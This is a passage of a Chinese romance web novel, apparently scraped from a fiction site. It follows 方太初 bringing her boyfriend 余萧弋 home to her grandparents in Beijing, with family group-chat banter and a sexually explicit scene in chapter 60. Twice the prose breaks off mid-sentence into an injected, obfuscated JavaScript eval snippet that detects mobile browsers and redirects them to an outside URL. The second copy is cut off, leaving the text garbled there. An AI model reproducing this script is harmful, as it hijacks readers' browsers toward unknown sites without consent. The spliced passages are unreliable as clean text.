苏更生嗔道,“多大的两个人了,还跟小时候一样调皮。”又转向余萧弋,“小余同学洗手吃饭,时间太晚,就没准备正餐,也不知道你喜欢吃什么,我就煮了小初喜欢的清炖牛肉面。等明天,小初考完试,我和舅舅再带你们出去吃好的。” 小初有些不好意思,“舅妈,我们俩在飞机上已经吃过了。” 姥姥说:“哎,这个是一定要吃的。” 余萧弋适时接过话去,“上车饺子下车面,对吧?” 黄振华诧异,“你们香港人也有这个说法?” 余萧弋勾唇,整个人都被温情包裹:“我妈妈哈尔滨人,以前我每次去外公外婆家,无论几点到,他们都会煮一碗面给我吃的,不过,”他顿了顿,“最近已经一两年没吃过了。” 说者无意听者有心,他的弦外之音让整个房间都陷入了伤感,姥爷拍拍他的肩膀,“没关系,以后你常来,无论几点,这里也都会有一碗热腾腾的面等着你。” 余萧弋全然没想到对方会这么说,眼底蔓出碎光。 黄振华也说:“你竟然也有一半的东北血统,难怪普通话说得这么好。”又感慨道,“你和我这外甥女还真是天定的缘分,方方面面的契合。” 姥姥打断他,“别光站着说话了,两个孩子也累了,让他们赶紧吃一口早点休息吧。” 小初带余萧弋来到卫生间。 想起刚刚他说起他外公外婆的表情,心里莫名跟着一阵难过。她是在姥姥姥爷身边长大的,对他们的感情甚至不亚于她爸妈,她想象不了,万一将来这座房子里没有了他们的身影,她会怎么样。 “余萧弋。”她用刚洗完的湿漉漉的手忽然捧住他的脸,“以后我姥姥姥爷也是你的姥姥姥爷,无论咱们俩最后能不能在一起,你来北京,都欢迎你来家里吃碗面。” 余萧弋咬了咬牙。 明明这么感动的话,她一定要用这么残忍的方式说出来吗? 小初又问,“你外公外婆什么时候走的?” “走?”余萧弋蹙眉,有些疑惑,“去哪?” 小初愣了一下,“你不是说?” 余萧弋反应过来,顿时把手上的水都掸到了她脸上,“你在想什么?他们活得好好的,而且就住在深圳,每两周我们都会见一次面。” “那你说……” 他没好气笑道,“只是他们这两年一个迷上了钓鱼,一个迷上了打麻将,家里又有工人帮忙,好久不下厨房了而已。” “我打死你算了,看你下次说话还敢这么大喘气。”小初踮起脚尖,像刚才对小表弟那样,锁住他的脖子,贴着他的耳朵威胁道,“说,你错了没?” “我错了,错得非常彻底,那你能原谅我吗?” 虽在求饶,他的声音语气却染着笑意,低沉而微哑。 小初立刻撤开了手,并向后退了一步。 不想却碰落了姥爷的不锈钢牙杯,发出一阵连绵不绝的震颤声。 余萧弋也笑得快要震颤。 门外的黄予安听到动静立刻不怀好意地说道,“哥你没事吧?我姐该不会已经对你动手了吧?” “没……” 余萧弋刚说一个字,就被小初的手指抵住了唇。 “嘘。”她朝他眨眨眼。 下一秒,门已被她倏地打开,黄予安猝不及防,竟直接跌进她怀里,小初重重揪住他的领子,眼风如刀,“你一个初一小屁孩,脑子里整天都想些什么呢?期中考试成绩出来了吗?我跟你说你要是成绩低于年级前5%,你爸妈不管你,我也要打死你的。” “救命!”黄予安大声求饶,“姐夫,哥!姐夫哥!你能不能管管你的女人,她真的好残暴!你到底喜欢她什么?” 余萧弋弯唇,“我喜欢她的温柔啊,怎么,你没见过吗?” 黄予安愣了愣,马上做出了一个极其牙疼的表情。 回到餐厅,苏更生已经把两碗面条和几个小菜摆好,一见他们就勾起一个大气淡然的笑,“你们俩慢慢吃,我们先去客厅看会儿电视。” 小初知道他们是不想她和余萧弋难为情,不禁感激万分,“谢谢舅妈。” 苏更生眨眼,“谁叫我是全世界最好的舅妈呢。”又对余萧弋说,“小余同学别客气,小初爸妈有事去日本出差了。他们人虽然没在家,电话却是早早就打过来了,交代我们务必好好招待你呢,只可惜,舅妈厨艺不精,辜负了他们的重托。” 虽是客气话,听着却让人极其舒服。 余萧弋赶紧欠身点了点头,再次致谢。 很快,餐厅里就剩下了他们两人。 小初舒了口气,“累吧?” 余萧弋摇头,“不累。” 小初舀了一勺牛肉汤喂进嘴里,“这就是海淀的老破小,你第一次来这样的房子里做客吧?舅舅是这个房子里长大的,我也是在这里长大的,我爸妈还在这住过两年,现在姥姥姥爷年纪大了,跑得最勤的就换成了舅舅和舅妈。这个房子承载了我们一家三代人的记忆,很珍贵,所以姥姥姥爷才不想搬走,想一直守着它。” “我喜欢这里。”余萧弋直白地描述着自己的感受,“这里很像个家,你懂我意思吗?有烟火气,有生活情调,温情又热闹,连饭都这么好吃。你的家人都好爱你,我很开心,你是在这样的环境里长大的。” 他抿抿唇,眼底有些红,“以后,这里会再多一个……” 他本想说,多一个爱你的人。 不想却被小初打断,“多一个可爱的小余同学。”她眨眼,“他们会像爱我一样爱你,把你当小朋友宠的,你做好心理准备。” 余萧弋愣住。 他一个从小就被教着该如何身披铠甲大杀四方的人,突然就卸下了浑身的疲惫和桎梏,只剩松弛和柔软。 “吃饭吧。” “嗯。” 两人吃饭的时候,客厅的几个人也在聊天。 小初听见黄振华感慨,“想当初她爸第一次上门也是我接的呢,一晃二十多年过去,外甥女都交男朋友了。” 苏更生笑,“老方当初上门可没得到你这么好脸色吧?” 黄予安立刻问,“为什么?我姑父那么好。” 黄振华不承认,“瞎说,我不知道有多热情好吗?” 姥姥姥爷都摇头一笑,笑着笑着,又不约而同流下浑浊的眼泪来。 二十多年过去,他们已鹤发鸡皮,身形佝偻,眼花耳背,他们的儿女也都已人过中年,两个孙辈如今都已长大,很快也会飞离这里,去过自己的人生了,怎么不让人感慨和伤感。 “这是干嘛呀?”黄振华赶紧抽了两张纸递给两位老人,“你们这样人家孩子还以为咱们有多不满意呢,人家人还在这呢,你们就哭上了。” 苏更生没好气瞪了老公一眼,“黄振华你这张嘴。” 两位老人擦了擦眼泪,“我们是高兴的。” “拉倒吧。”黄振华嘁了一声,压低声音,“谁不知道你们是怕方太初远嫁到香港去,以后再也不能想见就见?” 苏更生无语,照着老公的手臂就打了几下,“你少说两句!” 黄振华瞥黄予安,“快,哄哄你爷爷奶奶。” 黄予安满脸问号,“爸,这是您惹的,却要我来哄?” “父债子偿嘛。” “我怎么哄?” 黄振华眨眼,“你去,拍一张你姐和小余哥哥吃饭的照片,发到家族群里,顺便@你姑父,告诉他家被偷了。” 黄予安越听眼睛瞪得越大,他爸话还没说完,他就已经蹑手蹑脚去找机位了。 苏更生指了指黄振华噙着坏笑的脸。 没过五分钟,家族群里不绝的消息声就引起了小初的注意。她眯了眯眸子,指尖轻点进去,下一秒就目睹了她爸的发疯现场。 方协文:【大哥!你把他带家里去了?他们又不是要结婚了,带家里干什么!】 黄振华:【你看你说的,你当初上门的时候,就一定确定你和玫瑰后来会结婚?】 方协文:【那怎么一样!我和玫瑰当时已经好了好几年了!而且你早知我和玫瑰心意,也该帮忙拦着点,你好歹也是方太初的亲舅舅!】 黄振华:【你不懂,这事我有经验,这男女之间真有缘分吧,外人根本拦不住,拦多了,还容易结仇,我已经吃过一次亏了,这次坚决不能重蹈覆辙。反正他们俩将来就算分手,也绝不能是因为我。】 方协文思考了好一会儿才回过来,【感情你就可着我一个人欺负呗。】 他刚说完,客厅里就传来一阵笑声。 黄振华:【我这是在跟你承认我当年错了呢。】 方协文:【不需要!你要真觉得你错了,就立刻把他给我赶走。】 黄振华:【我说了我不能再犯一次错啊。】 方协文:【……】 小初有些无语,但还是忍不住笑了。 余萧弋掀眸看了她一眼,“笑什么呢?” “没事。”小初的心思根本没在他身上,“你快点吃,今天这么累,我们早点睡。” “嗯?”余萧弋不确定他听到了什么,又重复了一遍,“我们,一块睡吗?” 小初没应声,而是在群里@了她爸,【天这么冷,您要他去哪里啊?】 方协文回:【那我管不着。】 黄亦玫插话进来,【家里不是有空房间吗,就让他在家里住好了,大晚上别折腾了。】 方协文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559004|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说话了。 下一秒就在他们三个人的小群里质问道:【黄亦玫,你竟然不跟我统一战线!你说的那个空房间,该不会就是你的房间吧?我不同意啊。】 黄亦玫有些无语,【我不就在你枕边吗,你在群里说什么?】 小初插话进去:【他说给我听呢。那不然,让他睡我房间好了,我去妈妈房间睡。】 黄亦玫说:【也可以。】 最后还是老爷子将这件事拍了板,【今天天气已经降温了,就别再做让人寒心的事了,小余这孩子我和你们妈妈看着挺好的,两个孩子也般配。到了我们这个年纪再看,你就会发现没什么是比子女的幸福更重要的事了,所以我们更加庆幸当年在你们各自的婚姻上都给了你们极大的选择自由。事实也证明,我们做对了,振华和更生,玫瑰和协文,你们扪心自问,这世上有任何一个人比你们本人更了解你们自己想要一个什么样的人吗?】 几个人都没说话。 老爷子又说,【既然你们凭自己能选对,那小初也能,甚至会做得更好,她身上已经背负了很多人和事了,就让她在这件事上顺着她自己的心意活着吧。】 这段话几乎一秒就让小初的眼泪下来了,但她知道她不能哭,至少,不能在此刻哭。 她只是默默收起了手机,双手托腮看了会儿吃面的余萧弋,她知道他根本就不饿,但是为了不浪费粮食,他还是努力把所有面都吃了。 “很好吃。”他勾唇,看了看小初,“你怎么了?” “我没事呀。” 他不问还好,一问小初又有点酸。 “你为什么没吃完?” 小初弯唇,“因为他们从小就比较惯着我呗,我剩了饭,都是姥爷吃。” “那我帮你把剩下的吃完吧。”余萧弋伸手来拿她的碗,“以后我帮你吃。” 小初别过头去,抹了抹眼泪,再转过来,眼尾依旧有点红,但语气已经变成娇嗔,“你是不是在占我便宜?” “啊?” 余萧弋有点懵。 “不要啦!”小初斜睨他,“我才不要你变胖!” 苏更生走过来,笑着拍拍小初的肩膀,又问余萧弋,“怎么样,面好吃吗?” 余萧弋起身,“谢谢舅妈,很好吃。” 苏更生又跟小初说:“两个房间我都给你们换好被单了,今天也晚了,早点休息吧。我和舅舅明天上班,布丁要上学,我们就不陪你去考试了啊,相信你没问题的。” 小初眨眼,“那必然没问题。” 趁黄振华一家离开之前,余萧弋赶紧打开箱子把给大家的礼物拿了出来,又是跟上次纽约一样的风格,箱子一打开,里面东西就流了一地。 小初嘴角一抽,她算是看明白这家伙的行事风格了,礼多人不怪是吗? 礼物选得很用心,每个人都被他哄得很开心。黄予安抱着最新款的运动相机,不停说着,“谢谢姐夫哥。” 尴尬得小初又想揍他。 临出门,黄振华又想起什么,“都忘记叫小余说两句粤语给大家听听。” 余萧弋愣了愣,马上从善如流用粤语说道,“谢谢舅舅舅妈尽心招待,很高兴认识你们,今天辛苦了,回去路上慢慢,到家别忘了打个电话讲一声。” 黄振华满眼惊叹,“哇,讲粤语更帅了有没有?” 苏更生的目光在余萧弋脸上静静停了几秒才瞪了眼老公,“这也就是小余,要换别人肯定会觉得你不尊重人,你这和过年时非要别人家小孩表演的讨人厌的亲戚有什么区别?” 小初也说,“就是。” 不想余萧弋却丝毫不在意,甚至还有点跃跃欲试,“舅舅哪有不尊重,分明是喜欢我才对。这要不是天太晚了,我真可以给你们表演一个,比如……”他看了看琴房方向,“钢琴弹唱什么的。” 小初目瞪口呆。 他这是表现欲爆棚了,今天不把这一屋子人都征服睡不着觉? 杨敏中说他们那群人都很少听见他弹钢琴,这下好,到这来没人提他自己开始自荐了是吗? 黄振华一听就来劲了,“那唱啊,择日不如撞日。” “舅舅!”小初无语,“几点了?扰不扰民啊!” “扰什么民。”黄振华把换好的鞋子又脱了,“咱家那个琴房装的时候就做好隔音了。而且,这楼上楼下还哪有人?邻居李奶奶出国去女儿那养老了,楼上你王伯伯都搬去云南两年了,楼下你吴爷爷三月份去世了,哦,对门陈婆婆倒是还独居着,不过她耳背,你平时跟她说话不大声喊她都听不见。总而言之,就弹一小段,肯定没关系。” 小初想到什么,有点想哭,“这几年都是舅舅跑过来照顾姥姥姥爷多,辛苦了。” 黄振华白她一眼,“少来这套。” 说完就拉余萧弋来到了琴房。 其他人也跟了过去。 余萧弋坐下,先看了小初一眼,“唱个什么呢?” 小初心想,一群疯子,我怎么知道? 黄振华提议,“你唱个有年代感的,最好你岳父听过的。” 小初忽一下红了脸,喊了声,“舅舅!” 姥姥姥爷都笑。 余萧弋想了想,很快,那首很经典的《当年情》就随着他指尖下流淌的钢琴声充斥了整个狭小空间。 他的声线很年轻,却又很有磁性,完全不失故事感。 轻轻笑声在为我送温暖 你为我注入快乐强电 轻轻说声漫长路快要走过 终于走到明媚晴天 …… 拥着你当初温馨再涌现 心里边童年稚气梦未污染 今日我与你又试肩并肩 当年情此刻是添上新鲜 他唱得太动听,小初进入了情境,一时没控制住,心脏又向下沉沦了几分。 五分钟后,他唱这首歌的样子就被黄振华发到了家族群里。 【老方,这姑爷还不行吗?这姑爷可太行了吧?】 方协文没说话。 黄亦玫发来一个惊艳的表情,然后@方协文,【这不是你最爱的电影插曲吗?】 过了一分钟。 方协文引用了黄亦玫那一条,语气特别幽怨,【我不就在你枕边吗?有什么话不能直接跟我说吗?】 小初:【……】 60.第 60 章 十月末的北京,入夜后已接近零度。 清华园旧楼在供暖前的寒潮中散发着一种近乎萧索的味道,室内清冷异常。 方太初擦着滴水的发梢从卫生间出来的时候,余萧弋正窝在沙发上看电脑,昏暗的环境中,他蓝光眼镜片上反射着的屏幕微光格外清晰,字符随着他指尖节奏快速跳动着。 听到她的脚步声,他即刻抬眸过来,小初没设防,视线直直撞进他眼底。 这一刻,从不说脏话的她实在没忍住,在心底骂了句Damn,这辈子,爱上高智文艺男,大概是她逃不过的宿命了。 这样的男人,却偏要在她二十岁,彼此都不够成熟的时候出现,她真不知这是她的运,还是她的劫。 “洗好了?” 小初没有立刻答,而是稍微缓了下呼吸节奏,“在忙什么?” “工作上的事。”余萧弋摘下眼镜,“确切地说,在看一个基金项目三方机构发来的尽调报告,审核组的同事水平似乎不太行,报告里明显有几组数据都不太对,竟然也提交上来给萧总了。” 小初稍微思考了一下就明白了他在说什么,“所以,提交给萧总的邮件都会过你的手?” 余萧弋笑,“聪明。” “那你就没想过这其实是萧总对你的考验吗?” “也不是没有这个可能。” “甚好。”小初笑着拍拍手,“小余总多积累经验,培养好投资眼光,回头投我方某人的项目时,才能比别的投资人更快抓住机会。” 余萧弋将她扯到身边坐下,没好气地捏了捏她的脸,“好久没见过方小姐你这么狂妄的人了,你就不怕我眼光越好,越不投你?” 小初扬了扬下巴,神情骄傲,“我无所谓呀,等将来你别悔不当初就行,我也不是跟谁都共享赚钱机会的。”然后她笑,“大不了,我去找别的更爱我的男人好了。” “还有谁?”他缓缓收紧搂在她腰间的手,目光已不自觉将湿漉漉的她整个包裹其中。 小初眨眼,“我爸啊。” 余萧弋玩笑的口吻中又带着几分认真,“别找他,找我,赚了归你,赔了让余家给你担着,这个思路才正确好不好?” 小初心里的甜荡漾着,她恨她如此爱听他说情话,“小余总你是不是色令智昏了。” 余萧弋承认,“又不是今天开始的,看见你的第一眼,我脑子就已经乱了。” 小初嘁了一声,“油嘴滑舌。” “这明明是我的内心剖白。”余萧弋一寸寸地贴近她,想吻她的冲动已经膨胀到了极致。 “客厅光我知道就两个摄像头。”小初没有躲避他侵略至极的目光,揶揄道,“如果你真想挑衅千里之外那个手里提着刀的男人,并且不怕姥姥姥爷随时会从卧室里出来,就请自便。” “怎么不早说!”余萧弋震惊至极,动作却毫不拖泥带水,一秒就把她从怀里推出去了,神色要多正经有多正经,“小方同学时间不早了,赶紧吹头发睡觉吧,吹风机在哪里,要不要我帮你吹?” 他是不是在哪进修过,变脸变得这么快? 小初眯了眯眸子,表情逐渐玩味,“余同学,你在怕什么?” “这不是怕好吗?”余萧弋摆了摆右手食指,“这是尊重。” 小初在心里翻了个白眼,下一秒已经贴过去搂住了他的脖子,“哦,是吗?” 余萧弋快被她吓死,“你是真想你爸讨厌死我?回头真把你许给梁培风?” “跟梁培风什么关系?” 余萧弋斜睨她,“你真看不出来他喜欢他?” 小初思考了一下,“他喜欢没用啊,他已经结婚了。” “……”余萧弋无奈地戳了戳她的额头,“跟我装傻是吧?” 然后又觉得她实在可爱,一不小心笑出了声。 小初也跟着笑,“我不是傻,我是单纯,所以你可别骗我,你骗我我会很伤心很伤心,以后就再也不理你了。” “我什么时候骗过你?”余萧弋的心被她一句话弄得浮浮沉沉,“以前没有,以后也不会有!” “好吧,信你。”小初弯唇,“你去洗澡吧,然后早点睡,明天好陪我去考试。” “好。” “哦,浴巾我帮你放在架子上了,你已经感受到北方的冷了吧,出来的时候裹严实一点,千万别冻感冒了。” 余萧弋看了看她身上毛绒绒的粉色浴袍,以及她被粉色衬得无比明媚清亮的一张脸,“我没有你这么厚的睡衣。” 小初想起什么,勾住他的手,“来,跟我来,我还真有一件多的,刚好可以给你穿。” 余萧弋有点抗拒,“不会也是粉色的吧?” 小初瞪他,“怎样,你敢嫌弃我?” 余萧弋立刻偃旗息鼓,“不敢。” “算你识相。” 小初带他回到房间,她从小到大度过最漫长岁月的地方。 这次是真的向他敞开自己的一切了。 “今晚你就住这吧。”小初的目光瞥到水循环电热毯储水器上亮着的夜灯,挑了挑眉,“他们对你可真好,被窝都帮你暖好了,我都没这个待遇!” 余萧弋疑惑,“暖被窝,什么意思?” 小初在这一刻才懂舅妈的苦心,他一个长期生活在亚热带地区且养尊处优惯了的孩子,恐怕还真对北方居民的取暖方式一无所知。 “就是这个意思。”她拉过他的手伸进被窝里,“感受到了吗?” 余萧弋的瞳孔瞬间放大,满脸不可思议,“热的?” “神奇吧?” “嗯。” 小初被他逗笑,“理科生不该被技术含量这么低的产品惊到吧?” 余萧弋解释,“人们对自己没见过的东西欠缺点想象力也正常吧?” 小初一本正经,“正常。就像我也不理解你们那的飞蚁和蟑螂。” 余萧弋咬唇,“我们那就没给你留下其他印象吗?” 小初笑到不能自已:“男的普遍身高和颜值都不太行这是可以说的吗?” “……”余萧弋点了点她的额头,“麻烦,衣服找给我你就可以出去了,这里今晚归我,容不得你在这里如此冒犯和放肆。” 小初仍是笑,转身翻她的衣柜去了。 余萧弋这才空出时间环视了一下她的房间。和一般年轻女孩无异,她也喜欢各种各样可爱的东西,墙上贴着画报,床上堆着公仔,一只粉色的长耳朵兔正安静坐在枕头旁边,观察着她和他的一切。 衣柜里的色彩也不是他想象中的黑白灰,一条长长的钉满亮片的香槟色礼服从柜门溜了出来,又被她用力塞回去,余萧弋笑出声来。 她真的被她父母养得很好,他突然很想知道,到底是怎样完美的父母才能养出这么美好的女孩子,让她如此聪慧豁达,明媚灵动,又如此坚韧专注,富有同理心,一丝矫揉造作之气都没有,连爱一个人都爱得如此不计较利益得失。 如果换成别人,他心里当然很清楚,未必愿意将自己这么毫无保留地暴露在闪光灯下,只为给他支持和安全感。 她为他做这么多,却从不邀功,就算她爸妈态度这么明确地反对他们在一起,她仍然笑着对他说,他们很喜欢他,这个家从此多了一个小余同学,让他做好准备迎接所有人的疼爱。 她怎么这么会爱人?这是她与生俱来的能力吗? 小初不好意思地回头朝他吐了吐舌头,“这是今年六月份学校活动我妈买给我的,一直说拿到那边房子去,结果总是忘记,实在太占地儿了。” 余萧弋笑着听她碎碎念,视线并未停,然后很快,他就被她的玩具展示柜吸引了注意力,一股宿命感油然而生,“方太初。” 他喊她全名。 “干嘛?”小初终于在冬衣收纳箱里找到了那条黑色带白色条纹的厚浴袍,“这个给你穿。”她自顾自把衣服比到他身上,“袖子肯定会短一点,不过也没关系吧?” “你也喜欢乐高的星球大战系列吗?”余萧弋不可置信地看着她。 “哦,你说这个呀。”小初说,“这些都是我小时候拼的了,不光这个,其实我还自制过一个航天火箭系列,真的可以发射那种知道吧?我另外一个家里有一个专门的房间,放的全是这些搭建类的玩具。” “那个六万片的歼星舰舰队你有吗?”余萧弋神情激动。 “必须有啊。”小初挑挑眉,“实不相瞒,我小时候一直想去航天局工作来着。” 他们竟连兴趣爱好都如此雷同。 余萧弋情不自禁将她搂在怀里,“你现在也可以选择去航天局工作。” “算了吧。”小初自嘲,“我还是努力赚钱吧,将来多捐点钱支持祖国的航天事业就好了。你女朋友没你想得那么优秀,专业的事还是交给更高精尖的人才去做吧。” “你就是最优秀的。”余萧弋吻了下她的头发。 小初笑着躲,“别捧杀。” 又推他,“去洗澡啦!” “我谢谢你。”余萧弋捏她的脸,“没给我找身粉色蕾丝加豹纹。” 小初若有所思,“你竟喜欢那个风格?” “请停止思考!” 小初大笑。 他出门之前,她还没忘记让他把吹风机给她送进来,她太累了,只想窝在温暖的被窝里,一动都不想动了。 另外一个房间长时间没人睡,根本没有电热毯,她都不敢想,这个天气那个冰凉湿冷的被子裹在身上的滋味该有多难受。 原本只想赖在这暖和一会儿的,不想就这么迷迷糊糊睡着了。 余萧弋洗了澡回来的时候,看见的就是她抱着枕头呼吸绵长的模样。 或许是电热毯温度太高了,她睡得整张脸都红扑扑的,海藻般的头发铺得到处都是,粉色浴袍也早被她脱到了一边,她太放松和恣意,像一只趴伏的小兽,全然没有意识到自己的大半个身子都暴露在危险之中。 白色吊带睡裙的带子滑了下来,将她柔和的肩颈和背部线条毫无保留地送入他眼底,好半晌,房间里都是他凌乱而粗哑的呼吸声。 空气好冷。 他好热。 他感觉自己变成了一株疯狂生长的植物,每条枝叶和发达的根系都在向她的方向伸长着,他太渴了,而她就是这世间唯一的水源。 什么绅士风度。 什么隐忍克制。 什么今天明天。 统统都不重要了,世界末日来临之前,文明都要湮灭了,还有什么能敌过生物本能? 吃掉她,将她啃噬入骨,吸干她,让她虚弱,摇摆,乞怜,求饶,却又心甘情愿地紧紧缠着他,极致地和他相互占有,再一起走向灭亡。 他想不出他这一生比这更美的结局。 他真的太喜欢她了。 生理上都是无法克制的冲动,心理上却是丝毫不想她受到伤害的怜惜。从认识到现在,这两股力量就一直没停止博弈,可每次,理智都会占上风,这次,当然也一样。 天实在太冷了,也不知就这样在原地站了多久,他感觉自己已经被冻得身体发麻。 “方太初。”他平稳了一下呼吸走上前去,轻碰了一下她的胳膊,只一下,他就触电般弹开,“你回房间去睡好不好?” 小初正迷迷糊糊做梦呢,梦里她被什么人抱在怀里,热得她难受,天空也一直下热雨,弄得她满身得黏腻和潮湿,手臂上忽然传来的冰凉吓了她一激灵,倏忽睁开眼,又迷茫盯着余萧弋的脸看了几秒,才恍惚明白她这是做梦了,还是个春意盎然的梦。 “抱抱。”梦里的空虚没被填满,她现在很脆弱,只想要一个切切实实的拥抱。 余萧弋却没动,“小姐,你明天还要考试。” 她撒娇,“抱抱又不影响我考试,我保证肯定考过还不行吗?” “已经十二点了。” “那就给我抱五分钟好不好?” 睡得半梦半醒的她眼尾还染着迷蒙,整个人看着都热乎乎软哄哄的,余萧弋一时没经受得住蛊惑,下一秒已经顺从她的心意将她整个抱入了怀中。 “你怎么这么凉?” 小初不想坐起身,干脆扯过被子将他也裹在了其中,又往他怀里拱了拱,“不想你感冒。” 余萧弋极力压制着呼吸,却不确定心跳声有没有吵到她的耳膜,“你说了客厅都是摄像头,我们俩不能单独在房间这么久。” “就五分钟,不久。” 他垂眸,眼神深邃地将她整个锁在目光内,喉结不自觉地滚了滚,她知不知道再这么发展下去,就不是一个五分钟能结束的事了? 她到底是哪里来的错觉,把他余萧弋当成了坐怀不乱的柳下惠? “余萧弋,你心跳好快。”小初埋在他怀里,声音有点闷。 这不是……废话吗? “你在想什么?”她指尖向下,扯了扯他腰间的带子。 “想你。” 小初笑,“我不就在这吗?” “还是想。” “我也想你。”小初抬头,看着他羞涩动人的眼睛,“尽管你就在这,还是想。” 他别过视线,根本不敢看她,“别闹,已经过去两分钟了。” “你不热吗?要不要把浴袍脱了?”小初坏心地扯开他的腰带,呼吸喷薄在他的胸肌上。 “方太初!”他一把按住她不安分的手,吞咽口水都变成了不可完成的任务,“你疯了?” “不行,你赶紧出去,要么就是我出去。”他居高临下地警告着她。 “我现在很清醒,一滴酒都没喝。” “那也不行。” “你不喜欢我。”小初委屈地红了眼。 刚才那个梦太美好,太真实,真实到让她生出了勇气,很想试试那个感觉是不是真的和漂浮在云端上一样让人快乐。 “没有……不喜欢。”他爱她都快爱疯了好吗?否则他这么理智聪明的人,怎么会一步步沦陷到今天这个地步? 现在别说他的尊严,哪怕她说要他的命,恐怕他也会毫不犹豫地给出去,只要她开心。 她让他明白,人与人之间的化学反应,原来如此奇妙。遇见对的人,就像生命里被投下了加速反应的催化剂,一切都开始快速而彻底地发生。 就在半年前,他还以为他三十岁之前都不会恋爱,三十五岁之前绝不会考虑婚姻,而现在,他简直恨不得明天就和她手牵手走进婚礼的殿堂,让她成为全世界最美最幸福的新娘。 人有些话果然是不能说得太早的。 “只是……不行,至少现在不行。”他耐心解释。 这里整个房间都是她从小到大的书本和玩具,他若是在这就对她……会让他觉得自己是个禽兽。 他早说过,她从不是什么任凭别人揉乱的洋娃娃。 “你在认真践行你的那条抛物线,我知道。”小初的眼睛里逐渐蔓出碎光,“你说过,影音室的那晚就是我们之间的极致,后面都不会再有。你不相信我们会在一起,所以不忍心伤害我。” “不是的。”余萧弋心疼至极,却又不知道该怎么剖白他自己,干脆把所有感情都化成了吻落下来,明明很失控,他的动作却比以往任何时候都温柔,轻吮着她的唇角和舌尖,最后把她的眼泪一点点含下去,让她不要哭。 “怎么办,刚刚看见你坐在沙发上看电脑的样子,我突然就不想分手了,那个样子的你,让我特别有家的感觉。” “我们不会分手。”他将她压入怀中,“人在半夜时候都容易脆弱,睡一觉就好了,是不是做噩梦了?” “不是噩梦。”小初的声音渐低,整个人羞涩到不行,“都怪你,我最近总做那种似是而非的梦。” 什么,似是而非? 余萧弋反应了一下才明白她在说什么,明白过来之后更觉得她无比率真可爱,两人仿佛一下变成了促膝谈心的青梅竹马,很多本应该染了情欲的东西,突然变得那么生机勃勃,每个延伸的脉络都是生物的本能,自然且美好。 “方小姐食髓知味了是吧?”他笑着用拇指指腹抹了抹她唇上的不知道谁的口水,“你看,我就知道我的计谋会得逞,是不是从那以后,你梦里的人也变成了我?” 小初红着脸瞪他,“你还笑我!” “没笑你。”他亲昵地用自己的鼻尖碰了碰她的,“情欲本来就是人与生俱来的天赋,只能说明,Babe长大了。” 然后他又贴近她耳朵,“所以你后来自己有没有?” 小初不答,只微微垂下了眼睫。 “什么时候?”他耐心地引导着她正视自己的欲望。 “特……特别想你的时候,你去美国的时候。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她微喘着,不敢发出太大的声音,只能无助抓着他的肩膀,有条小鱼好凶,一直在啃噬她,像是想从那里窥探她的心。 她想跟它说停下来,她愿意把她的心全权交给它,或者它要她别的也行,只要它开口,只要她有。 可她却一句话都说不出来了,只能任它放肆撒野。 生理性泪水不自觉湿了半片枕头,她没想哭,但就是控制不住,一想着记忆中那个光风霁月的男人正和那条小鱼一样在取悦着她,轻哄着她,她就忍不住身体颤抖。 感觉自己空的那部分被填满了。 她终于意识到了什么不对,艰难地喊了声他名字,带着颤抖的哭腔,“停下来,停下来,好像,好像电热毯的水管开花了,好热,我好热。” 可是已经来不及了。 下一秒她就仿佛彻底陷进了爆破的水床里,整个人都被淹没了。 余萧弋这棵水生植物,终于将根系伸向了拥有最丰沛水源的地方,他也能活下来了。 “你的错觉。”他哑着声音停在她脸上九英寸的距离,“水管好好的。” 小初这才敢睁开眼,然后就直接哭出声来,“怎么办Theo余,我把你弄脏了。” “不脏。”他摸摸她的头发,“现在可以睡了吗?” 小初仍是哭,身体的余韵还没有停歇,她还在轻轻颤抖。 她没想到这件事带来的愉悦感会这么山呼海啸般。这次是抛物线上行还是下行?她怎么感觉,他们之间的羁绊更深刻了呢。 余萧弋的唇在这个视角下妖冶得异常,她情不自禁勾住他的脖子吻上去,根本忘了刚才发生了什么,一切都很自然。 那个味道……似乎比她想象的要好一点。 直亲到她的情绪彻底平稳下来,她才松开手。 “是好吃的,对吧?”他弯唇逗她。 “不公平,我都没有尝到你的味道。” “宝贝!”余萧弋一把捂住她的嘴,“不要再说了,再说明天谁都起不来了!睡觉睡觉。” 他忽地起了身,抓过浴袍将自己绑紧,又帮小初把被子盖好,然后就抱着另一床被子出了门。 小初被他晃得眼花缭乱,忍不住问,“你去哪?” “睡沙发,你别管我了,晚安。” 在她还想说什么之前,他已经出了门,关门的姿势可以说是毅然决然。 小初无声地张了张嘴巴,最后还是笑了。她真的已经精疲力竭,再经不起任何折腾了。 一夜酣畅好眠。 第二天早晨起来推开门,沙发上早没了余萧弋的身影,只有一条被子叠得整整齐齐,放在一旁的贵妃榻上。 小初好奇地四处看了看,这才发现他早已梳洗打扮整齐,正陪姥姥在厨房烙馅饼呢。 呃,余少在北京老破小的厨房烙馅饼,这个新闻要是爆出去,够不够港版报纸一个头条? 小初拿出手机拍了两张照片,又饶有兴致地看了一会,才喊了声,“早。” 厨房里吸油烟机声音太大,他们都没发现她的存在。 “你怎么这么早就起来了,考试不是九点吗?”余萧弋看了看表。 这会儿才不到七点。 小初不敢和他对视,只说,“睡到自然醒了呗。” 姥姥接过话去,“不是说好你去你妈妈房间睡,让小余睡你房间吗,怎么好让他睡沙发呢,那多难受啊,客厅这么冷。” “不冷。”余萧弋赶紧帮她解围,“我听她说另外一个房间没有那个……” “电热毯。”小初笑着帮他补充。 “对,我怕她冷,就让她睡那边了。” 